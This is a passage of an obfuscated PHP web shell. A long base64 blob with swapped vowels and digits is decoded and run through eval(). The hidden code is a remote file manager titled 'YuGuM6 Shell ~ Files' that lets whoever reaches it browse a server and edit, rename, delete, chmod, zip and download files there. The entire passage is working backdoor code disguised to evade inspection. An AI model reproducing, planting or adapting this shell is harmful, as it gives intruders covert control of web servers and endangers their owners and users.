GRkNW5cIiB2MWwzNT1cIiIuJG4zbVthXS4iXCI+CgkJPDRucDN0IG4xbTU9XCJoXzJ0aDVyXCIgdHlwNT1cImg0ZGQ1blwiIHYxbDM1PVwiIi4kbjNtW29dLiJcIj4KCQk8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj5Pd241cjwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+PDRucDN0IHR5cDU9XCJjaDVja2IyeFwiIG4xbTU9XCIyd241cnVcIiB2MWwzNT1cInVcIiAybmNsNGNrPVwiYzFsYzNsMXQycignMnduNXInLCB1KVwiICIuJDJ3bjVyX3I1MWQuIj48L2YybnQ+PC90ZD48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJudCBjMmwycj1cInI1ZFwiPjw0bnAzdCB0eXA1PVwiY2g1Y2tiMnhcIiBuMW01PVwiMnduNXJhXCIgdjFsMzU9XCJhXCIgMm5jbDRjaz1cImMxbGMzbDF0MnIoJzJ3bjVyJywgYSlcIiAiLiQyd241cl93cjR0NS4iPjwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+PDRucDN0IHR5cDU9XCJjaDVja2IyeFwiIG4xbTU9XCIyd241cjZcIiB2MWwzNT1cIjZcIiAybmNsNGNrPVwiYzFsYzNsMXQycignMnduNXInLCA2KVwiICIuJDJ3bjVyXzV4NWMzdDUuIj48L2YybnQ+PC90ZD48L3RyPgoJCTx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJudCBjMmwycj1cInI1ZFwiPkdyMjNwPC9mMm50PjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj48NG5wM3QgdHlwNT1cImNoNWNrYjJ4XCIgbjFtNT1cImdyMjNwdVwiIHYxbDM1PVwidVwiIDJuY2w0Y2s9XCJjMWxjM2wxdDJyKCdncjIzcCcsIHUpXCIgIi4kZ3IyM3BfcjUxZC4iPjwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+PDRucDN0IHR5cDU9XCJjaDVja2IyeFwiIG4xbTU9XCJncjIzcGFcIiB2MWwzNT1cImFcIiAybmNsNGNrPVwiYzFsYzNsMXQycignZ3IyM3AnLCBhKVwiICIuJGdyMjNwX3dyNHQ1LiI+PC9mMm50PjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj48NG5wM3QgdHlwNT1cImNoNWNrYjJ4XCIgbjFtNT1cImdyMjNwNlwiIHYxbDM1PVwiNlwiIDJuY2w0Y2s9XCJjMWxjM2wxdDJyKCdncjIzcCcsIDYpXCIgIi4kZ3IyM3BfNXg1YzN0NS4iPjwvZjJudD48L3RkPjwvdHI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+T3RoNXI8L2YybnQ+PC90ZD48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJudCBjMmwycj1cInI1ZFwiPjw0bnAzdCB0eXA1PVwiY2g1Y2tiMnhcIiBuMW01PVwiMnRoNXJ1XCIgdjFsMzU9XCJ1XCIgMm5jbDRjaz1cImMxbGMzbDF0MnIoJzJ0aDVyJywgdSlcIiAiLiQydGg1cl9yNTFkLiI+PC9mMm50PjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj48NG5wM3QgdHlwNT1cImNoNWNrYjJ4XCIgbjFtNT1cIjJ0aDVyYVwiIHYxbDM1PVwiYVwiIDJuY2w0Y2s9XCJjMWxjM2wxdDJyKCcydGg1cicsIGEpXCIgIi4kMnRoNXJfd3I0dDUuIj48L2YybnQ+PC90ZD48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJudCBjMmwycj1cInI1ZFwiPjw0bnAzdCB0eXA1PVwiY2g1Y2tiMnhcIiBuMW01PVwiMnRoNXI2XCIgdjFsMzU9XCI2XCIgMm5jbDRjaz1cImMxbGMzbDF0MnIoJzJ0aDVyJywgNilcIiAiLiQydGg1cl81eDVjM3Q1LiI+PC9mMm50PjwvdGQ+PC90cj48L3QxYmw1PgoJCTx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+PHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPkNobTJkIHYxbDM1OiAgPDRucDN0IHR5cDU9XCJ0NXh0XCIgbjFtNT1cInRfMnduNXJcIiB2MWwzNT1cIiIuJG4zbVs2XS4iXCIgczR6NT1cIjZcIj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwidF9ncjIzcFwiIHYxbDM1PVwiIi4kbjNtW2FdLiJcIiBzNHo1PVwiNlwiPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJ0XzJ0aDVyXCIgdjFsMzU9XCIiLiRuM21bb10uIlwiIHM0ejU9XCI2XCI+ICZuYnNwOyZuYnNwOzw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJDaG0yZFwiIG4xbTU9XCJjaF9tMmRcIj48L2Yycm0+PC90ZD48L3RyPiI7Cgl9Cgk1bHM1NGYoNHNzNXQoJF9QT1NUWydjaF9tMmQnXSkgJiYgKDRzX2Y0bDUoJGNobTJkKSB8fCA0c19kNHIoJGNobTJkKSkpewoJCSRjaF9tMmQgPSAiMCIuKDRudCkkX1BPU1RbJ3RfMnduNXInXS4iIi4oNG50KSRfUE9TVFsndF9ncjIzcCddLiIiLig0bnQpJF9QT1NUWyd0XzJ0aDVyJ107CgkJNGYoY2htMmQoJGNobTJkLCRjaF9tMmQpKSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYybnQgYzJsMnI9XCJncjU1blwiPkY0bDUgIi4kY2htMmQuIiBjaG0yZGQ1ZCAybiAiLiRjaF9tMmQuIjwvYzVudDVyPjxicj4mbmJzcDs8L3RyPjwvdHI+IjsKCQk1bHM1IDVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITxicj5UaDRzIGY0bDUgYzFubjJ0IGI1IGNobTJkZDVkISBNMXliNSB5MjMgZDJuJ3QgaDF2NSBwNXJtNHNzNDJucyE8L2YybnQ+PGJyPiZuYnNwOzwvYzVudDVyPjwvdGQ+PC90cj4iOwoJfQp9CjVjaDIgIjwvdDFibDU+PGJyPjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+Cjx0cj48dGQgYmdjMmwycj1cImJsMWNrXCI+PGM1bnQ1cj48ZjJudCBzNHo1PVwib1wiIGMybDJyPVwiIzAwZmYwMFwiPll1R3VNNiBTaG9sbCB+IEY0bDVzPC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj4KPC90MWJsNT4KPHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj48dHI+Cjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIiA0ZD1cImNkXCI+PHRyPjx0ZD58Jm5ic3A7PC90ZD48dGQ+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJwcjV2NDIzc2Q0clwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIjsKNGYoNXI1ZzQoIi8iLCRkNHIpKSA1Y2gyICRkNHIuIi8uLiI7CjVsczUgNWNoMiAkZDRyLiJcLi4iOwo1Y2gyICJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5wcjV2NDIzc2Q0ci5zM2JtNHQoKVwiPlByNXY0MjNzIEQ0cjVjdDJyeTwvMT48L2Yycm0+PC90ZD48dGQ+fCZuYnNwOzwvdGQ+PHRkPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwicHI0bmM0cDFsZDRyXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiOwo0Zig1cjVnNCgiLyIsJGQ0cikpIDVjaDIgIi8iOwo1bHM1IDVjaDIgIlxcIjsKNWNoMiAiXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQucHI0bmM0cDFsZDRyLnMzYm00dCgpXCI+UHI0bmM0cDFsIGQ0cjVjdDJyeTwvMT48L2Yycm0+PC90ZD48dGQ+fCZuYnNwOzwvdGQ+PHRkPiI7CjVjaDIgIjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiaDJtNXAxdGhcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJHNoNWxsX2wyYzF0NDJuLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5oMm01cDF0aC5zM2JtNHQoKVwiPkgybTUgRjJsZDVyPC8xPjwvZjJybT48L3RkPjx0ZD58PC90ZD48L3RyPjwvdDFibDU+PC9jNW50NXI+PC90ZD48L3RyPjwvdDFibDU+Cjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+Cjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj4mbmJzcDs8L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+TjFtNTwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+RzIgLyBWNDV3PC9mMm50PjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj5TNHo1PC9mMm50PjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYybnQgYzJsMnI9XCJyNWRcIj5QNXJtNHNzNDJuczwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+QWN0NDJuczwvZjJudD48L3RkPjwvdHI+CiI7CgovL1NoMndzIDFsbCBmNGw1cwokZDRycyA9IDFycjF5KCk7CiRmNGw1cyA9IDFycjF5KCk7CgpmMnI1MWNoIChnbDJiKCIqIikgMXMgJGMybnQ1bnRzKXsKCTRmKCRkNHIgIT0gIiIpewoJCTRmKDRzX2Y0bDUoJGMybnQ1bnRzKSl7CgkJCTRmKHN0cnAycygkZDRyLCIvIikgIT09IEZBTFNFKSAkZjRsNXNbXSA9ICRkNHIuIi8iLiRjMm50NW50czsKCQkJNWxzNTRmKHN0cnAycygkZDRyLCJcXCIpICE9PSBGQUxTRSkgJGY0bDVzW10gPSAkZDRyLiJcXCIuJGMybnQ1bnRzOwoJCX0KCQk1bHM1NGYoNHNfZDRyKCRjMm50NW50cykpewoJCQk0ZihzdHJwMnMoJGQ0ciwiLyIpICE9PSBGQUxTRSkgJGQ0cnNbXSA9ICRkNHIuIi8iLiRjMm50NW50czsKCQkJNWxzNTRmKHN0cnAycygkZDRyLCJcXCIpICE9PSBGQUxTRSkgJGQ0cnNbXSA9ICRkNHIuIlxcIi4kYzJudDVudHM7CgkJfQoJfQoJNWxzNXsKCQk0Zig0c19mNGw1KCRjMm50NW50cykpICRmNGw1c1tdID0gJGMybnQ1bnRzOwoJCTVsczU0Zig0c19kNHIoJGMybnQ1bnRzKSkgJGQ0cnNbXSA9ICRjMm50NW50czsKCX0KfQoKZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkZDRycyk7ICQxKyspewoJNGYoc3RycDJzKCRkNHJzWyQxXSwiLyIpICE9PSBGQUxTRSl7CgkJJGQ0cl9uMW01ID0gNXhwbDJkNSgiLyIsJGQ0cnNbJDFdKTsKCQkkZDRyX24xbTUgPSAkZDRyX24xbTVbYzIzbnQoJGQ0cl9uMW01KSAtIDZdOwoJfQoJNWxzNTRmKHN0cnAycygkZDRyc1skMV0sIlxcIikgIT09IEZBTFNFKXsKCQkkZDRyX24xbTUgPSA1eHBsMmQ1KCJcXCIsJGQ0cnNbJDFdKTsKCQkkZDRyX24xbTUgPSAkZDRyX24xbTVbYzIzbnQoJGQ0cl9uMW01KSAtIDZdOwoJfQoJNWxzNSAkZDRyX24xbTUgPSAkZDRyc1skMV07CgkkcDVybTRzczQybiA9IGc1dHA1cm1zKCRkNHJfbjFtNSk7Cgk0Zig1cjVnNCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCRkNHJzWyQxXSkpewoJCSR0bXBfMSA9IDV4cGwyZDUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwkZDRyc1skMV0pOwoJCSRkNHJ6ID0gJHRtcF8xWzZdOwoJfQoJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz1kNHJcIiBiMnJkNXI9XCIwXCI+PC9jNW50NXI+PC90ZD48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48MSBocjVmPVwiIi4kZDRyei4iXCIgdDFyZzV0PVwiX0JMQU5LXCI+Ii4kZDRyX24xbTUuIjwvMT48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiZDRyXyIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi5nNXRjd2QoKTsKCTRmKHN0cnAycyhnNXRjd2QoKSwiXFwiKSAhPT0gRkFMU0UpIDVjaDIgIlxcIjsKCTVsczUgNWNoMiAiLyI7Cgk1Y2gyICRkNHJfbjFtNS4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuZDRyXyIuJDEuIi5zM2JtNHQoKVwiPkcyPC8xPjwvZjJybT48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiZuYnNwOy0tLSA8L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiIuJHA1cm00c3M0Mm4uIjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCIgMWw0Z249XCJyNGdodFwiPjx0MWJsNSA0ZD1cIjFjdDQybnNkNHJcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj4KCTx0ZD48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImQ0cnI1bjFtNSIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJyNW4xbTVcIiB2MWwzNT1cIiIuJGQ0cl9uMW01LiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5kNHJyNW4xbTUiLiQxLiIuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPXI1bjFtNVwiIGIycmQ1cj1cIjBcIiB0NHRsNT1cIlI1bjFtNVwiPjwvMT48L2Yycm0+PC90ZD4KCTx0ZD48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImQ0cmQ1bDV0NSIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJkNWw1dDVcIiB2MWwzNT1cIiIuJGQ0cl9uMW01LiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5kNHJkNWw1dDUiLiQxLiIuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPWQ1bDV0NVwiIGIycmQ1cj1cIjBcIiB0NHRsNT1cIkQ1bDV0NVwiPjwvMT48L2Yycm0+PC90ZD4KCTx0ZD48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImQ0cmNobTJkIi4kMS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImNobTJkXCIgdjFsMzU9XCIiLiRkNHJfbjFtNS4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuZDRyY2htMmQiLiQxLiIuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPWNobTJkXCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiQ2htMmRcIj48LzE+PC9mMnJtPjwvdGQ+Cgk8dGQ+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJ6NHBkNHIiLiQxLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJ6NHBcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJ6NHBfZDRyXCIgdjFsMzU9XCIiLiRkNHJfbjFtNS4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuejRwZDRyIi4kMS4iLnMzYm00dCgpXCI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz16NHBcIiBiMnJkNXI9XCIwXCIgdDR0bDU9XCJaNHBcIj48LzE+PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj4iOwp9CgpmMnIoJDEgPSAwOyAkMSA8IGMyM250KCRmNGw1cyk7ICQxKyspewoJNGYoc3RycDJzKCRmNGw1c1skMV0sIi8iKSAhPT0gRkFMU0UpewoJCSRmNGw1X24xbTUgPSA1eHBsMmQ1KCIvIiwkZjRsNXNbJDFdKTsKCQkkZjRsNV9uMW01ID0gJGY0bDVfbjFtNVtjMjNudCgkZjRsNV9uMW01KSAtIDZdOwoJfQoJNWxzNTRmKHN0cnAycygkZjRsNXNbJDFdLCJcXCIpICE9PSBGQUxTRSl7CgkJJGY0bDVfbjFtNSA9IDV4cGwyZDUoIlxcIiwkZjRsNXNbJDFdKTsKCQkkZjRsNV9uMW01ID0gJGY0bDVfbjFtNVtjMjNudCgkZjRsNV9uMW01KSAtIDZdOwoJfQoJNWxzNSAkZjRsNV9uMW01ID0gJGY0bDVzWyQxXTsKCSRwNXJtNHNzNDJuID0gZzV0cDVybXMoJGY0bDVfbjFtNSk7Cgk0Zig1cjVnNCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCRmNGw1c1skMV0pKXsKCQkkdG1wXzEgPSA1eHBsMmQ1KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sJGY0bDVzWyQxXSk7CgkJJGY0bDV6ID0gJHRtcF8xWzZdOwoJfQoJNWxzNSAkZjRsNXogPSAkZjRsNXNbJDFdOwoJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz1mNGw1XCIgYjJyZDVyPVwiMFwiPjwvYzVudDVyPjwvdGQ+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PDEgaHI1Zj1cIiIuJGY0bDV6LiJcIiB0MXJnNXQ9XCJfQkxBTktcIj4iLiRmNGw1X24xbTUuIjwvMT48L3RkPgoJPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCIycDVuIi4kMS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImY0bDUycDVuXCIgdjFsMzU9XCIiLiRmNGw1X24xbTUuIlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LjJwNW4iLiQxLiIuczNibTR0KClcIj5WNDV3PC8xPjwvZjJybT48L3RkPgoJPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+Ii50MnQxbHM0ejUoJGY0bDVfbjFtNSkuIjwvdGQ+Cgk8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj4iLiRwNXJtNHNzNDJuLiI8L3RkPgoJPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCIgMWw0Z249XCJyNGdodFwiPjx0MWJsNSA0ZD1cIjFjdDQybnNcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj48dHI+PHRkPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiNWQ0dCIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJmNGw1NWQ0dFwiIHYxbDM1PVwiIi4kZjRsNV9uMW01LiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC41ZDR0Ii4kMS4iLnMzYm00dCgpXCI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz01ZDR0XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiRWQ0dFwiPjwvMT48L2Yycm0+PC90ZD4KCTx0ZD48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImY0bDVjMnB5Ii4kMS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImY0bDVjMnB5XCIgdjFsMzU9XCIiLiRmNGw1X24xbTUuIlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LmY0bDVjMnB5Ii4kMS4iLnMzYm00dCgpXCI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz1jMnB5XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiQzJweVwiPjwvMT48L2Yycm0+PC90ZD4KCTx0ZD48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImY0bDVyNW4xbTUiLiQxLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZjRsNXI1bjFtNVwiIHYxbDM1PVwiIi4kZjRsNV9uMW01LiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5mNGw1cjVuMW01Ii4kMS4iLnMzYm00dCgpXCI+PDRtZyBzcmM9XCIiLiRzaDVsbC4iPzRtZz1yNW4xbTVcIiBiMnJkNXI9XCIwXCIgdDR0bDU9XCJSNW4xbTVcIj48LzE+PC9mMnJtPjwvdGQ+Cgk8dGQ+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJmNGw1ZDVsNXQ1Ii4kMS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImY0bDVkNWw1dDVcIiB2MWwzNT1cIiIuJGY0bDVfbjFtNS4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuZjRsNWQ1bDV0NSIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9ZDVsNXQ1XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiRDVsNXQ1XCI+PC8xPjwvZjJybT48L3RkPgoJPHRkPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiY2htMmQiLiQxLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiY2htMmRcIiB2MWwzNT1cIiIuJGY0bDVfbjFtNS4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuY2htMmQiLiQxLiIuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPWNobTJkXCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiQ2htMmRcIj48LzE+PC9mMnJtPjwvdGQ+Cgk8dGQ+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJkMndubDIxZCIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQyd25sMjFkXCIgdjFsMzU9XCIiLmc1dGN3ZCgpLiIvIi4kZjRsNV9uMW01LiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5kMndubDIxZCIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9ZDJ3bmwyMWRcIiBiMnJkNXI9XCIwXCIgdDR0bDU9XCJEMndubDIxZFwiPjwvMT48L2Yycm0+Cgk8L3RkPjwvdHI+PC90MWJsNT48L3RkPjwvdHI+IjsKfQo1Y2gyICI8L3QxYmw1Pjxicj4iOwo/Pgo8L2IyZHk+CjwvaDUxZD4KPC9odG1sPg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));